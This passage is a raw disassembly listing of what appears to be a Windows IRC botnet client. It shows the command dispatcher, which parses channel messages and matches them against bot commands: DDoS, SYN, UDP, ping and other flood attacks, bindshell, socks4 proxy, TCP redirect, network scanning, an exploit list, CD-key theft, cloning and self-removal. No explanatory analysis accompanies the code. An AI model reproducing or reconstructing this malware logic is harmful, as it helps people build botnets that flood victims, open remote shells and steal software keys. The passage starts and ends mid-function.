pop ecx
pop ecx
jnz loc_402D5D
mov esi, dword ptr [ebp+esi+4Ch+Args]
cmp esi, ebx
jz loc_402D5D
mov eax, [ebp+4Ch+Format]
cmp byte ptr [eax], 23h
jz loc_402D5D
push esi
push eax
push offset dword_42FCA4
jmp loc_402AB7
; ---------------------------------------------------------------------------
loc_402F87: ; CODE XREF: sub_40274D+848j
push 32h
call ds:dword_42B014 ; Sleep
loc_402F8F: ; CODE XREF: sub_40274D+71Fj
cmp [ebp+4Ch+var_19F4], ebx
jz short loc_402F87
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_402F9C: ; CODE XREF: sub_40274D+64Fj
lea eax, [ebp+4Ch+var_D0]
push eax
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset asc_42FC60 ; "-"
push eax ; Dest
call _sprintf
add esp, 10h
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_402FC0: ; CODE XREF: sub_40274D+646j
push dword ptr [ebp+esi+4Ch+Args] ; Str2
push offset aChat ; "CHAT"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_403102
cmp [ebp+4Ch+var_14], ebx
jz loc_4030DB
push 1Bh
call sub_40B075
test eax, eax
pop ecx
jnz loc_4030CA
push [ebp+esi+4Ch+var_98]
lea eax, [ebp+4Ch+var_2AB0]
push offset aS ; "%s"
push eax ; Dest
call _sprintf
push [ebp+esi+4Ch+var_94] ; Str
call j__atol
mov [ebp+4Ch+var_2918], eax
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_2AB8], eax
push 7Fh ; Count
lea eax, [ebp+4Ch+var_D0]
push eax ; Source
lea eax, [ebp+4Ch+var_2998]
push eax ; Dest
call _strncpy
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_2910], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_290C], eax
lea eax, [ebp+4Ch+var_D0]
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42FC38 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 1Bh ; int
push eax ; Source
call sub_40AE85
add esp, 34h
mov [ebp+4Ch+var_2914], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_2AB8]
push eax
push offset sub_418799
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_2914]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4030BD
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42FC00
jmp loc_408D01
; ---------------------------------------------------------------------------
loc_4030B5: ; CODE XREF: sub_40274D+976j
push 32h
call ds:dword_42B014 ; Sleep
loc_4030BD: ; CODE XREF: sub_40274D+955j
cmp [ebp+4Ch+var_2908], ebx
jz short loc_4030B5
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_4030CA: ; CODE XREF: sub_40274D+89Ej
lea eax, [ebp+4Ch+var_D0]
push eax
push offset unk_42FBD0
jmp loc_408D01
; ---------------------------------------------------------------------------
loc_4030DB: ; CODE XREF: sub_40274D+88Ej
lea eax, [ebp+4Ch+var_D0]
push eax
push offset unk_42FB9C
jmp loc_408D01
; ---------------------------------------------------------------------------
loc_4030EC: ; CODE XREF: sub_40274D+62Ej
mov eax, [ebp+4Ch+var_10]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_43C08C
mov [edi], ecx
jnz loc_402B92
loc_403102: ; CODE XREF: sub_40274D+885j
mov edi, [edi]
push edi ; Str2
push offset aLogin ; "login"
mov [ebp+4Ch+var_10], edi
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40A0B6
push edi ; Str2
push offset asc_42FB98 ; "l"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40A0B6
cmp [ebp+4Ch+var_14], ebx
jnz short loc_40314D
push dword ptr [ebp+4Ch+Args] ; Str2
push offset a332 ; "332"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_404979
loc_40314D: ; CODE XREF: sub_40274D+9E7j
cmp [ebp+4Ch+arg_28], ebx
jnz loc_404979
xor edi, edi
cmp dword_43C498, ebx
jle loc_4032D6
mov [ebp+4Ch+var_14], offset dword_4D1450
loc_40316B: ; CODE XREF: sub_40274D+A3Dj
push [ebp+4Ch+var_10] ; Str2
push [ebp+4Ch+var_14] ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_403191
add [ebp+4Ch+var_14], 0B8h
inc edi
cmp edi, dword_43C498
jl short loc_40316B
jmp loc_4032D6
; ---------------------------------------------------------------------------
loc_403191: ; CODE XREF: sub_40274D+A2Dj
push offset SubStr ; " :"
push [ebp+4Ch+arg_0] ; Str
call _strstr
cmp eax, ebx
pop ecx
pop ecx
jz loc_402B92
mov cl, byte_43C08C
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_43C08C
mov [eax+3], cl
push 9Fh ; Count
lea ecx, dword_4D1468[edi]
push ecx ; Source
add eax, 4
push eax ; Dest
call _strncpy
lea eax, dword_4D1450[edi]
add esp, 0Ch
mov [ebp+4Ch+var_14], 0Fh
mov [ebp+4Ch+var_24], eax
lea edi, [ebp+esi+4Ch+var_64]
loc_4031EC: ; CODE XREF: sub_40274D+B2Aj
push [ebp+4Ch+var_14]
lea eax, [ebp+4Ch+SubStr]
push offset aD ; "$%d-"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+SubStr]
push eax ; SubStr
push [ebp+4Ch+arg_0] ; Str
call _strstr
add esp, 14h
test eax, eax
jz short loc_403245
cmp [edi], ebx
jz short loc_403249
push [ebp+4Ch+var_24] ; Str
call _strlen
add [ebp+4Ch+var_18], eax
pop ecx
jz short loc_40326E
push dword ptr [edi-4] ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
cmp eax, ebx
pop ecx
pop ecx
jz short loc_40326E
push eax ; Source
lea eax, [ebp+4Ch+SubStr]
push eax ; SubStr
push [ebp+4Ch+arg_0] ; Dest
call sub_41AB7D
add esp, 0Ch
jmp short loc_40326E
; ---------------------------------------------------------------------------
loc_403245: ; CODE XREF: sub_40274D+AC1j
cmp [edi], ebx
jnz short loc_40326E
loc_403249: ; CODE XREF: sub_40274D+AC5j
push 2 ; Count
lea eax, [ebp+4Ch+SubStr]
push eax ; Source
lea eax, [ebp+4Ch+var_A8]
push eax ; Dest
call _strncpy
lea eax, [ebp+4Ch+var_A8]
push eax ; Source
lea eax, [ebp+4Ch+SubStr]
push eax ; SubStr
push [ebp+4Ch+arg_0] ; Dest
mov [ebp+4Ch+var_A6], bl
call sub_41AB7D
add esp, 18h
loc_40326E: ; CODE XREF: sub_40274D+AD3j
; sub_40274D+AE4j ...
dec [ebp+4Ch+var_14]
sub edi, 4
cmp [ebp+4Ch+var_14], ebx
jg loc_4031EC
lea eax, [ebp+esi+4Ch+var_64]
mov [ebp+4Ch+var_14], 10h
mov edi, eax
loc_40328A: ; CODE XREF: sub_40274D+B80j
push [ebp+4Ch+var_14]
lea eax, [ebp+4Ch+SubStr]
push offset aD_1 ; "$%d"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+SubStr]
push eax ; SubStr
push [ebp+4Ch+arg_0] ; Str
call _strstr
add esp, 14h
test eax, eax
jz short loc_4032C4
mov eax, [edi]
cmp eax, ebx
jz short loc_4032C4
push eax ; Source
lea eax, [ebp+4Ch+SubStr]
push eax ; SubStr
push [ebp+4Ch+arg_0] ; Dest
call sub_41AB7D
add esp, 0Ch
loc_4032C4: ; CODE XREF: sub_40274D+B5Fj
; sub_40274D+B65j
dec [ebp+4Ch+var_14]
sub edi, 4
cmp [ebp+4Ch+var_14], ebx
jg short loc_40328A
mov [ebp+4Ch+var_8], 1
loc_4032D6: ; CODE XREF: sub_40274D+A11j
; sub_40274D+A3Fj
mov eax, [ebp+4Ch+var_10]
mov al, [eax]
cmp al, byte_43C08C
jz short loc_4032EC
cmp [ebp+4Ch+var_8], ebx
jz loc_40349C
loc_4032EC: ; CODE XREF: sub_40274D+B94j
push [ebp+4Ch+Source] ; Source
mov edi, [ebp+4Ch+arg_0]
push offset aMe ; "$me"
push edi ; Dest
call sub_41AB7D
lea eax, [ebp+4Ch+var_D0]
push eax ; Source
push offset aUser ; "$user"
push edi ; Dest
call sub_41AB7D
push [ebp+4Ch+Format] ; Source
push offset aChan ; "$chan"
push edi ; Dest
call sub_41AB7D
push ebx ; Str1
push ebx ; int
lea eax, [ebp+4Ch+SubStr]
push 2 ; int
push eax ; Dest
call sub_40AB83
push eax ; Source
push offset aRndnick ; "$rndnick"
push edi ; Dest
call sub_41AB7D
add esp, 40h
push [ebp+4Ch+arg_14] ; Source
push offset aServer ; "$server"
push edi ; Dest
call sub_41AB7D
mov edi, offset aChr ; "$chr("
push edi ; SubStr
push [ebp+4Ch+arg_0] ; Str
call _strstr
add esp, 14h
jmp loc_403420
; ---------------------------------------------------------------------------
loc_40335D: ; CODE XREF: sub_40274D+CD5j
push edi ; SubStr
push [ebp+4Ch+arg_0] ; Str
call _strstr
mov [ebp+4Ch+var_24], eax
add eax, 5
push 4 ; Count
push eax ; Source
lea eax, [ebp+4Ch+SubStr]
push eax ; Dest
call _strncpy
lea eax, [ebp+4Ch+SubStr]
push offset asc_42FB58 ; ")"
push eax ; Str
call _strtok
add esp, 1Ch
cmp [ebp+4Ch+SubStr], 30h
jl short loc_403395
cmp [ebp+4Ch+SubStr], 39h
jle short loc_4033A8
loc_403395: ; CODE XREF: sub_40274D+C40j
push 3 ; Count
lea eax, [ebp+4Ch+SubStr]
push offset Source ; "63"
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_4033A8: ; CODE XREF: sub_40274D+C46j
lea eax, [ebp+4Ch+SubStr]
push eax ; Str
call j__atol
test eax, eax
pop ecx
jle short loc_4033C5
lea eax, [ebp+4Ch+SubStr]
push eax ; Str
call j__atol
pop ecx
mov [ebp+4Ch+var_A8], al
jmp short loc_4033D6
; ---------------------------------------------------------------------------
loc_4033C5: ; CODE XREF: sub_40274D+C67j
call _rand
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+4Ch+var_A8], dl
loc_4033D6: ; CODE XREF: sub_40274D+C76j
lea eax, [ebp+4Ch+SubStr]
push eax ; Str
mov [ebp+4Ch+var_A7], bl
call _strlen
push 0Ch ; Size
mov [ebp+4Ch+var_14], eax
lea eax, [ebp+4Ch+SubStr]
push ebx ; Val
push eax ; Dst
call _memset
mov eax, [ebp+4Ch+var_14]
add eax, 6
push eax ; Count
push [ebp+4Ch+var_24] ; Source
lea eax, [ebp+4Ch+SubStr]
push eax ; Dest
call _strncpy
lea eax, [ebp+4Ch+var_A8]
push eax ; Source
lea eax, [ebp+4Ch+SubStr]
push eax ; SubStr
push [ebp+4Ch+arg_0] ; Dest
call sub_41AB7D
push edi ; SubStr
push [ebp+4Ch+arg_0] ; Str
call _strstr
add esp, 30h
loc_403420: ; CODE XREF: sub_40274D+C0Bj
test eax, eax
jnz loc_40335D
mov edi, 1FFh
push edi ; Count
push [ebp+4Ch+arg_0] ; Source
lea eax, [ebp+4Ch+var_4590]
push eax ; Dest
call _strncpy
push edi ; Count
lea eax, [ebp+4Ch+var_4590]
push eax ; Source
lea eax, [ebp+4Ch+Str]
push eax ; Dest
call _strncpy
mov edi, offset asc_42FE58 ; " "
lea eax, [ebp+4Ch+Str]
push edi ; Delim
push eax ; Str
call _strtok
add esp, 20h
mov [ebp+4Ch+Str2], eax
mov [ebp+4Ch+var_24], 1
loc_403470: ; CODE XREF: sub_40274D+D3Aj
push edi ; Delim
push ebx ; Str
call _strtok
pop ecx
pop ecx
mov ecx, [ebp+4Ch+var_24]
inc [ebp+4Ch+var_24]
cmp [ebp+4Ch+var_24], 20h
mov [ebp+ecx*4+4Ch+Str2], eax
jl short loc_403470
lea eax, [ebp+esi+4Ch+Str2]
mov ecx, [eax]
cmp ecx, ebx
jz loc_402B92
add ecx, 3
mov [eax], ecx
loc_40349C: ; CODE XREF: sub_40274D+B99j
mov edi, [ebp+esi+4Ch+Str2]
push edi ; Str2
push offset aRndnick_0 ; "rndnick"
mov [ebp+4Ch+var_10], edi
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40A067
push edi ; Str2
push offset aRn ; "rn"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40A067
push edi ; Str2
push offset aDie ; "die"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405446
push edi ; Str2
push offset aD_0 ; "d"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405446
push edi ; Str2
push offset aLogout ; "logout"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4053AE
push edi ; Str2
push offset aLo ; "lo"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4053AE
push edi ; Str2
push offset aVersion ; "version"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40539F
push edi ; Str2
push offset aVer ; "ver"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40539F
push edi ; Str2
push offset aDedication ; "dedication"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405395
push edi ; Str2
push offset aDed ; "ded"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405395
push edi ; Str2
push offset aSpeedtest ; "speedtest"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405382
push edi ; Str2
push offset aSt ; "st"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405382
push edi ; Str2
push offset aSecure ; "secure"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405288
push edi ; Str2
push offset aSec ; "sec"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405288
push edi ; Str2
push offset aUnsecure ; "unsecure"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405288
push edi ; Str2
push offset aUnsec ; "unsec"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405288
push edi ; Str2
push offset aBindshell ; "bindshell"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40518C
push edi ; Str2
push offset aBd ; "bd"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40518C
push edi ; Str2
push offset aBindshellstop ; "bindshellstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_403643
push dword ptr [ebp+esi+4Ch+Args]
push 6
push offset aServer_0 ; "Server"
push offset dword_42FAAC
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403643: ; CODE XREF: sub_40274D+EDFj
push edi ; Str2
push offset aSocks4 ; "socks4"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405074
push edi ; Str2
push offset aS4 ; "s4"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405074
push edi ; Str2
push offset aSocks4stop ; "socks4stop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_403693
push dword ptr [ebp+esi+4Ch+Args]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42FA84
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403693: ; CODE XREF: sub_40274D+F2Fj
push edi ; Str2
push offset aRloginstop ; "rloginstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4036B9
push dword ptr [ebp+esi+4Ch+Args]
push 9
push offset aServer_0 ; "Server"
push offset dword_42FA68
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_4036B9: ; CODE XREF: sub_40274D+F55j
push edi ; Str2
push offset aHttpstop ; "httpstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4036DF
push dword ptr [ebp+esi+4Ch+Args]
push 3
push offset aServer_0 ; "Server"
push offset dword_42FA4C
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_4036DF: ; CODE XREF: sub_40274D+F7Bj
push edi ; Str2
push offset aLogstop ; "logstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_403705
push dword ptr [ebp+esi+4Ch+Args]
push 25h
push offset aLogList ; "Log list"
push offset dword_42FA2C
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403705: ; CODE XREF: sub_40274D+FA1j
push edi ; Str2
push offset aRedirectstop ; "redirectstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_40372B
push dword ptr [ebp+esi+4Ch+Args]
push 18h
push offset aTcpRedirect ; "TCP redirect"
push offset dword_42F9FC
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_40372B: ; CODE XREF: sub_40274D+FC7j
push edi ; Str2
push offset aDdos_stop ; "ddos.stop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_403751
push dword ptr [ebp+esi+4Ch+Args]
push 0Dh
push offset aDdosFlood ; "DDoS flood"
push offset dword_42F9D8
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403751: ; CODE XREF: sub_40274D+FEDj
push edi ; Str2
push offset aSynstop ; "synstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_403777
push dword ptr [ebp+esi+4Ch+Args]
push 0Eh
push offset aSynFlood ; "Syn flood"
push offset dword_42F9B8
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403777: ; CODE XREF: sub_40274D+1013j
push edi ; Str2
push offset aSkysynstop ; "skysynstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_40379D
push dword ptr [ebp+esi+4Ch+Args]
push 10h
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_42F98C
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_40379D: ; CODE XREF: sub_40274D+1039j
push edi ; Str2
push offset aTarga3stop ; "targa3stop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4037C3
push dword ptr [ebp+esi+4Ch+Args]
push 11h
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_42F960
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_4037C3: ; CODE XREF: sub_40274D+105Fj
push edi ; Str2
push offset aWonkstop ; "wonkstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4037E9
push dword ptr [ebp+esi+4Ch+Args]
push 12h
push offset aWonkFlood ; "Wonk flood"
push offset dword_42F93C
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_4037E9: ; CODE XREF: sub_40274D+1085j
push edi ; Str2
push offset aPacketstop ; "packetstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_40391E
mov esi, dword ptr [ebp+esi+4Ch+Args]
mov edi, [ebp+4Ch+arg_4]
push esi ; Str
push 0Dh ; int
push offset aDdosFlood ; "DDoS flood"
push offset dword_42F9D8 ; int
push 1 ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; int
push edi ; int
call sub_40B0BB
push esi ; Str
push 0Eh ; int
push offset aSynFlood ; "Syn flood"
push offset dword_42F9B8 ; int
push 1 ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; int
push edi ; int
call sub_40B0BB
add esp, 40h
push esi ; Str
push 17h ; int
push offset aUdpFlood ; "UDP flood"
push offset dword_42F918 ; int
push 1 ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; int
push edi ; int
call sub_40B0BB
push esi ; Str
push 16h ; int
push offset aPingFlood ; "Ping flood"
push offset dword_42F900 ; int
push 1 ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; int
push edi ; int
call sub_40B0BB
add esp, 40h
push esi ; Str
push 11h ; int
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_42F960 ; int
push 1 ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; int
push edi ; int
call sub_40B0BB
push esi ; Str
push 12h ; int
push offset aWonkFlood ; "Wonk flood"
push offset dword_42F93C ; int
push 1 ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; int
push edi ; int
call sub_40B0BB
add esp, 40h
push esi ; Str
push 0Fh ; int
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_42F8E0 ; int
push 1 ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; int
push edi ; int
call sub_40B0BB
push esi ; Str
push 13h ; int
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_42F8C0 ; int
push 1 ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; int
push edi ; int
call sub_40B0BB
add esp, 40h
push esi ; Str
push 10h ; int
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_42F98C ; int
push 1 ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; int
push edi ; int
call sub_40B0BB
push ebx ; int
push [ebp+4Ch+var_4] ; int
push offset unk_42F88C ; int
push [ebp+4Ch+Format] ; Str
push edi ; int
call sub_40123B
add esp, 34h
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_40391E: ; CODE XREF: sub_40274D+10ABj
push edi ; Str2
push offset aTsunamistop ; "tsunamistop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_403944
push dword ptr [ebp+esi+4Ch+Args]
push 0Fh
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_42F8E0
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403944: ; CODE XREF: sub_40274D+11E0j
push edi ; Str2
push offset aWisdomstop ; "wisdomstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_40396A
push dword ptr [ebp+esi+4Ch+Args]
push 13h
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_42F8C0
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_40396A: ; CODE XREF: sub_40274D+1206j
push edi ; Str2
push offset aUdpstop ; "udpstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_403990
push dword ptr [ebp+esi+4Ch+Args]
push 17h
push offset aUdpFlood ; "UDP flood"
push offset dword_42F918
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403990: ; CODE XREF: sub_40274D+122Cj
push edi ; Str2
push offset aPingstop ; "pingstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4039B6
push dword ptr [ebp+esi+4Ch+Args]
push 16h
push offset aPingFlood ; "Ping flood"
push offset dword_42F900
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_4039B6: ; CODE XREF: sub_40274D+1252j
push edi ; Str2
push offset aTftpstop ; "tftpstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4039DC
push dword ptr [ebp+esi+4Ch+Args]
push 5
push offset aServer_0 ; "Server"
push offset dword_42F844
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_4039DC: ; CODE XREF: sub_40274D+1278j
push edi ; Str2
push offset aFindfilestop ; "findfilestop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40504B
push edi ; Str2
push offset aFfstop ; "ffstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40504B
push edi ; Str2
push offset aProcsstop ; "procsstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405039
push edi ; Str2
push offset aPsstop ; "psstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405039
push edi ; Str2
push offset aClonestop ; "clonestop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_403A56
push dword ptr [ebp+esi+4Ch+Args]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42F7F4
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403A56: ; CODE XREF: sub_40274D+12F2j
push edi ; Str2
push offset aSecurestop ; "securestop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_403A7C
push dword ptr [ebp+esi+4Ch+Args]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42F7D0
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403A7C: ; CODE XREF: sub_40274D+1318j
push edi ; Str2
push offset aScanstop ; "scanstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_403AA2
push dword ptr [ebp+esi+4Ch+Args]
push 0Bh
push offset aScan ; "Scan"
push offset dword_42F7B0
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403AA2: ; CODE XREF: sub_40274D+133Ej
push edi ; Str2
push offset aScanstats ; "scanstats"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405026
push edi ; Str2
push offset aStats ; "stats"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405026
push edi ; Str2
push offset aTransferstats ; "transferstats"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405013
push edi ; Str2
push offset aTrstats ; "trstats"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405013
push edi ; Str2
push offset aConnectbacksta ; "connectbackstats"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405000
push edi ; Str2
push offset aCbstats ; "cbstats"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_405000
push edi ; Str2
push offset aExploitlist ; "exploitlist"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404FED
push edi ; Str2
push offset aExplist ; "explist"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404FED
push edi ; Str2
push offset aReconnect ; "reconnect"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404FCC
push edi ; Str2
push offset aR ; "r"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404FCC
push edi ; Str2
push offset aDisconnect ; "disconnect"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404FAA
push edi ; Str2
push offset aDc ; "dc"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404FAA
push edi ; Str2
push offset aQuit_0 ; "quit"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404F64
push edi ; Str2
push offset aQ ; "q"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404F64
push edi ; Str2
push offset aStatus ; "status"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404F29
push edi ; Str2
push offset aS_6 ; "s"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404F29
push edi ; Str2
push offset aId ; "id"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404EF5
push edi ; Str2
push offset aI ; "i"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404EF5
push edi ; Str2
push offset aReboot ; "reboot"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_403C6B
call sub_41AEBB
test eax, eax
mov eax, offset asc_42F6EC ; "-"
jnz short loc_403C40
mov eax, offset unk_42F6C4
loc_403C40: ; CODE XREF: sub_40274D+14ECj
push eax ; Format
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 1Ch
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_403C6B: ; CODE XREF: sub_40274D+14DEj
push edi ; Str2
push offset aThreads ; "threads"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404E1D
push edi ; Str2
push offset aT ; "t"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404E1D
push edi ; Str2
push offset aAliases ; "aliases"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404E00
push edi ; Str2
push offset aAl ; "al"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404E00
push edi ; Str2
push offset aLog ; "log"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404D17
push edi ; Str2
push offset aLg ; "lg"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404D17
push edi ; Str2
push offset aClearlog ; "clearlog"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404CFE
push edi ; Str2
push offset aClg ; "clg"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404CFE
push edi ; Str2
push offset aNetinfo ; "netinfo"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404CCF
push edi ; Str2
push offset aNi ; "ni"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404CCF
push edi ; Str2
push offset aSysinfo ; "sysinfo"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404CA4
push edi ; Str2
push offset aSi ; "si"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404CA4
push edi ; Str2
push offset aRemove ; "remove"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404C6F
push edi ; Str2
push offset aRm ; "rm"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404C6F
push edi ; Str2
push offset aProcs ; "procs"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404B59
push edi ; Str2
push offset aPs ; "ps"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404B59
push edi ; Str2
push offset aGetcdkeys ; "getcdkeys"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404B35
push edi ; Str2
push offset aKey ; "key"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404B35
push edi ; Str2
push offset aUptime ; "uptime"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404AB7
push edi ; Str2
push offset aUp ; "up"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404AB7
push edi ; Str2
push offset aDriveinfo ; "driveinfo"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404AA0
push edi ; Str2
push offset aDrv ; "drv"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404AA0
push edi ; Str2
push offset aTestdlls ; "testdlls"
call _strcmp
test eax, eax
